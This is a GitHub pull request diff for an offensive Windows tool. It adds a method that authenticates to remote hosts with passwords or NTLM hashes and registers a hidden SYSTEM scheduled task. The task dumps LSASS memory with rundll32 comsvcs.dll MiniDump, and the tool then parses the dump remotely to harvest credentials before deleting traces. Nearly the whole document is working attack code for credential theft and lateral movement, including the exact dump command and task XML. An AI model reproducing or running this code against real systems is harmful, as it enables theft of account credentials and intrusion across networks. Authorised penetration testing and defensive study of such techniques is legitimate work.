Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add rundll32 lsass dump feature #9

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions core/Args.py
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,7 @@ def menu():
mandatoryArgs.add_argument("-t", "--targets", help="IP addresses and/or IP address ranges. You can submit them via a file of targets (one target per line), or inline (separated by commas).", required=True)

optionalArgs = parser.add_argument_group('Optional Arguments')
optionalArgs.add_argument("-m", "--method", help="lsass dumping method.", choices=["wmi", "atexec"], default="wmi")
optionalArgs.add_argument("-d", "--domain", help="User's domain. If he is not member of a domain, simply use \"-d .\" instead.", default="")
optionalArgs.add_argument("-r", "--remove", help="Only try to remove ProcDump and dumps left behind on distant machines. Just in case.", action="store_true")
optionalArgs.add_argument("-v", "--verbosity", help="Verbosity mode. Default is info.", choices=['warning', 'info', 'debug'], default="info")
Expand Down
2 changes: 1 addition & 1 deletion core/Engine.py
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ def run(args):
logging.warning("%sLet's spray some love... Be patient." % (warningGre))

for target in targets:
jobs.append(Process(target=sprayLove, args=(user, target, local_ip, args.remove)))
jobs.append(Process(target=sprayLove, args=(user, target, local_ip, args.remove, args.method)))
jobs[-1].start()

joinThreads(jobs, args.wait)
Expand Down
1 change: 1 addition & 0 deletions core/Paths.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,3 +18,4 @@
sys.path.insert(0, os.path.join(homeDir, 'submodules', 'impacket'))
sys.path.insert(1, os.path.join(homeDir, 'submodules', 'pywerview'))
sys.path.insert(2, os.path.join(homeDir, 'submodules', 'customWmiExec'))
sys.path.insert(2, os.path.join(homeDir, 'submodules', 'customAtExec'))
19 changes: 15 additions & 4 deletions core/SprayLove.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,21 +10,32 @@
import logging, traceback
import wmiexec
import wmiexec_delete
import atexec
import atexec_delete
from core.Utils import *
from core.Colors import *
from core.Arch import *
from core.Connection import *


def sprayLove(user, target, local_ip, remove):
def sprayLove(user, target, local_ip, remove, method="wmi"):
if method == "wmi":
exec = wmiexec.WMIEXEC
exec_delete = wmiexec_delete.WMIEXEC_DELETE
elif method == "atexec":
exec = atexec.ATEXEC
exec_delete = atexec_delete.ATEXEC_DELETE
else:
logging.error("%s Method %s%s%s not supported" % (warningRed, red, method, white))
return 0
try:
smbConnection = Connection(user.username, user.password, user.domain, user.lmhash + ':' + user.nthash, None, 'C$', False, False, None).run(target)
if remove:
exec_method = wmiexec_delete.WMIEXEC_DELETE(smbConnection, user.username, user.password, user.domain, user.lmhash, user.nthash)
exec_method = exec_delete(smbConnection, user.username, user.password, user.domain, user.lmhash, user.nthash)
logging.warning("%sDeleting ProcDump and Dumps on %s%s%s..." % (infoYellow, green, target, white))
else:
exec_method = wmiexec.WMIEXEC(smbConnection, user.username, user.password, user.domain, user.lmhash, user.nthash)
logging.warning("%sProcDumping %s%s%s. Be patient..." % (infoYellow, green, target, white))
exec_method = atexec.ATEXEC(smbConnection, user.username, user.password, user.domain, user.lmhash, user.nthash)
logging.warning("%sLsass Dumping %s%s%s. Be patient..." % (infoYellow, green, target, white))
exec_method.run(target, get_os_arch(target))
except UnboundLocalError:
logging.info("%s%s: The dump cannot be opened. Check if ProcDump worked with -v debug." % (warningRed, target))
Expand Down
129 changes: 129 additions & 0 deletions submodules/customAtExec/atexec.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,129 @@
# coding: utf-8

# Author: Romain BENTZ
# Twitter: @hackanddo
# Based on Impacket atexec implementation by @agsolino
# https://github.com/SecureAuthCorp/impacket/blob/429f97a894d35473d478cbacff5919739ae409b4/examples/atexec.py

import time
from datetime import datetime
from core.Logs import *
from core.ParseDump import *
from core.PrintCreds import *
from core.WriteCreds import *
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport


class ATEXEC:
def __init__(self, smbConnection, username='', password='', domain='', lmhash=None, nthash=None):
self.__smbConnection = smbConnection
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = lmhash
self.__nthash = nthash

def run(self, addr, osArch='64'):
dump = None
dt = datetime.now().strftime("%m-%d-%Y_%H-%M-%S")
dumpName = "SPRAY_" + addr + "_" + dt
try:
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
self._rpctransport = transport.DCERPCTransportFactory(stringbinding)

if hasattr(self._rpctransport, 'set_credentials'):
self._rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = self._rpctransport.get_dce_rpc()

dce.set_credentials(*self._rpctransport.get_credentials())
dce.connect()
dce.bind(tsch.MSRPC_UUID_TSCHS)

command = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B C:\\{}.dmp full""".format(dumpName)

xml = self.gen_xml(command)
tmpName = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
done = False
while not done:
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
if resp['pLastRuntime']['wYear'] != 0:
done = True
else:
time.sleep(2)

time.sleep(3)
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
dce.disconnect()
logging.info("%s Lsass dumped" % (debugBlue))
logging.info("%s Creating dump's file descriptor on %s..." % (debugBlue, addr))
logging.info("%s Parsing %s's dump remotely..." % (debugBlue, addr))
dump = Dump(self.__smbConnection, """{}.dmp""".format(dumpName))
credentials = parseDump(dump, addr)
if credentials is not None and credentials:
print_credentials(addr, credentials)
write_credentials(addr, credentials)
finally:
# Clean remote machines (dump & procdump)
logging.info("%s Closing dump file on %s..." % (debugBlue, addr))
if dump is not None:
dump.close()

logging.info("%s Deleting dump on %s..." % (debugBlue, addr))
if logging.getLogger().getEffectiveLevel() > 10:
with suppress_std():
self.__smbConnection.deleteFile("C$", "\\{}.dmp".format(dumpName))
else:
self.__smbConnection.deleteFile("C$", "\\{}.dmp".format(dumpName))

if self.__smbConnection is not None:
self.__smbConnection.logoff()
sys.stdout.flush()

def gen_xml(self, command):

return """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="LocalSystem">
<Exec>
<Command>cmd.exe</Command>
<Arguments>/C {}</Arguments>
</Exec>
</Actions>
</Task>
""".format(command)
106 changes: 106 additions & 0 deletions submodules/customAtExec/atexec_delete.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@
# coding: utf-8

# Author: Romain BENTZ
# Twitter: @hackanddo
# Based on Impacket atexec implementation by @agsolino
# https://github.com/SecureAuthCorp/impacket/blob/429f97a894d35473d478cbacff5919739ae409b4/examples/atexec.py

import time
from datetime import datetime
from core.Logs import *
from core.ParseDump import *
from core.PrintCreds import *
from core.WriteCreds import *
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport


class ATEXEC_DELETE:
def __init__(self, smbConnection, username='', password='', domain='', lmhash=None, nthash=None):
self.__smbConnection = smbConnection
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = lmhash
self.__nthash = nthash

def run(self, addr, osArch='64'):
try:
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
self._rpctransport = transport.DCERPCTransportFactory(stringbinding)

if hasattr(self._rpctransport, 'set_credentials'):
self._rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = self._rpctransport.get_dce_rpc()

dce.set_credentials(*self._rpctransport.get_credentials())
dce.connect()
dce.bind(tsch.MSRPC_UUID_TSCHS)
logging.info("%s Deleting dumps on %s..." % (debugBlue, addr))
command = "del C:\\SPRAY_*.dmp"

xml = self.gen_xml(command)
tmpName = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
done = False
while not done:
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
if resp['pLastRuntime']['wYear'] != 0:
done = True
else:
time.sleep(2)

time.sleep(3)
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
dce.disconnect()
finally:
if self.__smbConnection is not None:
self.__smbConnection.logoff()
sys.stdout.flush()

def gen_xml(self, command):

return """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="LocalSystem">
<Exec>
<Command>cmd.exe</Command>
<Arguments>/C {}</Arguments>
</Exec>
</Actions>
</Task>
""".format(command)